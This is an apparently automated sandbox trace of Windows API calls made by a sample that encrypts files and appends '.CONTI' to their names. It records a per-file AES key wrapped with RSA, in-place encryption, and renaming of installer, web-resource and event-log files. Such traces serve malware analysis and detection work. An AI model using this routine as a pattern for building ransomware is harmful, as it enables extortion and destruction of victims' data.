	[0151.596] CryptExportKey (in: hKey=0x17debd0, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dc71c, pdwDataLen=0x3a7ff24 | out: pbData=0x65dc71c*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0151.597] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css")) returned 0x20
	[0151.597] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0151.597] GetLastError () returned 0x0
	[0151.597] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=269159) returned 1
	[0151.597] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x41b67
	[0151.597] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.597] SetEndOfFile (hFile=0x49c) returned 1
	[0151.597] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.597] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.598] WriteFile (in: hFile=0x49c, lpBuffer=0x65dc71c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65dc71c*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0151.602] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.602] ReadFile (in: hFile=0x49c, lpBuffer=0x9370000, nNumberOfBytesToRead=0x41b67, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x41b67, lpOverlapped=0x0) returned 1
	[0151.606] CryptEncrypt (in: hKey=0x17debd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x41b67, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x41b70) returned 1
	[0151.607] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.607] WriteFile (in: hFile=0x49c, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x41b70, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x41b70, lpOverlapped=0x0) returned 1
	[0151.607] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.607] WriteFile (in: hFile=0x49c, lpBuffer=0x65dc710*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65dc710*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0151.608] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.608] CloseHandle (hObject=0x49c) returned 1
	[0151.608] GetProcessHeap () returned 0x1720000
	[0151.608] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.608] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css"
	[0151.608] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css.CONTI"
	[0151.608] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css.conti")) returned 1
	[0151.615] GetProcessHeap () returned 0x1720000
	[0151.615] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.615] CryptDestroyKey (hKey=0x17debd0) returned 1
	[0151.615] GetProcessHeap () returned 0x1720000
	[0151.615] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02358 | out: hHeap=0x1720000) returned 1
	[0151.615] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0151.615] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65de030 | out: phKey=0x65de030*=0x17de5d0) returned 1
	[0151.615] CryptExportKey (in: hKey=0x17de5d0, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65de034, pdwDataLen=0x3a7ff24 | out: pbData=0x65de034*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0151.616] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\ui.js")) returned 0x20
	[0151.616] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\ui.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0151.617] GetLastError () returned 0x0
	[0151.617] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=3046842) returned 1
	[0151.617] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e7dba
	[0151.617] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.617] SetEndOfFile (hFile=0x49c) returned 1
	[0151.617] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.617] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.617] WriteFile (in: hFile=0x49c, lpBuffer=0x65de034*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65de034*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0152.456] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0152.456] ReadFile (hFile=0x49c, lpBuffer=0x9370000, nNumberOfBytesToRead=0x2e7dba, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0) 

Thread:
	id = 151
	os_tid = 0x1318

	[0093.044] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0x9880000
	[0093.044] CryptAcquireContextA (in: phProv=0x3bbfe1c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x3bbfe1c*=0x174e540) returned 1
	[0093.046] CryptImportKey (in: hProv=0x174e540, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x3bbfe18 | out: phKey=0x3bbfe18*=0x173a850) returned 1
	[0093.047] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0094.303] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d5b08 | out: phKey=0x17d5b08*=0x175e4f0) returned 1
	[0094.303] CryptExportKey (in: hKey=0x175e4f0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5b0c, pdwDataLen=0x3bbfde4 | out: pbData=0x17d5b0c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0094.347] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80
	[0094.348] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0094.348] GetLastError () returned 0x0
	[0094.348] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=1163264) returned 1
	[0094.348] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11c000
	[0094.348] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.348] SetEndOfFile (hFile=0x320) returned 1
	[0094.348] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.348] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.348] WriteFile (in: hFile=0x320, lpBuffer=0x17d5b0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d5b0c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0094.349] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.350] ReadFile (in: hFile=0x320, lpBuffer=0x9880000, nNumberOfBytesToRead=0x11c000, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x11c000, lpOverlapped=0x0) returned 1
	[0094.374] CryptEncrypt (in: hKey=0x175e4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11c000, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11c010) returned 1
	[0094.375] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.375] WriteFile (in: hFile=0x320, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x11c010, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x11c010, lpOverlapped=0x0) returned 1
	[0094.447] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.447] WriteFile (in: hFile=0x320, lpBuffer=0x17d5b00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d5b00*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0094.447] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.447] CloseHandle (hObject=0x320) returned 1
	[0094.967] GetProcessHeap () returned 0x1720000
	[0094.967] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7640
	[0094.967] lstrcpyW (in: lpString1=0x17c7640, lpString2="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned="C:\\588bce7c90097ed212\\netfx_Core_x86.msi"
	[0094.967] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.CONTI") returned="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.CONTI"
	[0094.967] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.CONTI" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.conti")) returned 1
	[0094.967] GetProcessHeap () returned 0x1720000
	[0094.968] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7640 | out: hHeap=0x1720000) returned 1
	[0094.968] CryptDestroyKey (hKey=0x175e4f0) returned 1
	[0094.968] GetProcessHeap () returned 0x1720000
	[0094.968] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1448 | out: hHeap=0x1720000) returned 1
	[0094.968] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0094.968] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d3d60 | out: phKey=0x17d3d60*=0x175e4f0) returned 1
	[0094.968] CryptExportKey (in: hKey=0x175e4f0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3d64, pdwDataLen=0x3bbfde4 | out: pbData=0x17d3d64*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0094.968] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20
	[0095.218] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0095.218] GetLastError () returned 0x0
	[0095.218] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=69632) returned 1
	[0095.218] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0095.218] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.218] SetEndOfFile (hFile=0x35c) returned 1
	[0095.219] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.219] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.219] WriteFile (in: hFile=0x35c, lpBuffer=0x17d3d64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d3d64*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0095.220] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.220] ReadFile (in: hFile=0x35c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x11000, lpOverlapped=0x0) returned 1
	[0095.221] CryptEncrypt (in: hKey=0x175e4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11000, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11010) returned 1
	[0095.221] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.221] WriteFile (in: hFile=0x35c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x11010, lpOverlapped=0x0) returned 1
	[0095.222] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.222] WriteFile (in: hFile=0x35c, lpBuffer=0x17d3d58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d3d58*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0095.222] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.222] CloseHandle (hObject=0x35c) returned 1
	[0095.224] GetProcessHeap () returned 0x1720000
	[0095.224] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0095.224] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx"
	[0095.224] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.CONTI"
	[0095.224] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.conti")) returned 1
	[0095.224] GetProcessHeap () returned 0x1720000
	[0095.224] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0095.224] CryptDestroyKey (hKey=0x175e4f0) returned 1
	[0095.224] GetProcessHeap () returned 0x1720000
	[0095.224] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173fcf0 | out: hHeap=0x1720000) returned 1
	[0095.224] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0095.492] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d41f0 | out: phKey=0x17d41f0*=0x17c8570) returned 1
	[0095.492] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d41f4, pdwDataLen=0x3bbfde4 | out: pbData=0x17d41f4*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0095.493] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20
	[0096.524] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0096.525] GetLastError () returned 0x0
	[0096.525] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=69632) returned 1
	[0096.525] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.525] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.525] SetEndOfFile (hFile=0x308) returned 1
	[0096.565] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.565] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.565] WriteFile (in: hFile=0x308, lpBuffer=0x17d41f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d41f4*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.606] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.606] ReadFile (in: hFile=0x308, lpBuffer=0x9880000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x11000, lpOverlapped=0x0) returned 1
	[0096.607] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11000, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11010) returned 1
	[0096.607] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.607] WriteFile (in: hFile=0x308, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x11010, lpOverlapped=0x0) returned 1
	[0096.607] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.608] WriteFile (in: hFile=0x308, lpBuffer=0x17d41e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d41e8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0096.608] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.608] CloseHandle (hObject=0x308) returned 1
	[0096.610] GetProcessHeap () returned 0x1720000
	[0096.610] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.610] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx"
	[0096.610] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.CONTI"
	[0096.610] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.conti")) returned 1
	[0096.610] GetProcessHeap () returned 0x1720000
	[0096.610] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.610] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0096.611] GetProcessHeap () returned 0x1720000
	[0096.611] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740f80 | out: hHeap=0x1720000) returned 1
	[0096.611] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0096.611] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d9b10 | out: phKey=0x17d9b10*=0x17c8570) returned 1
	[0096.611] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d9b14, pdwDataLen=0x3bbfde4 | out: pbData=0x17d9b14*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
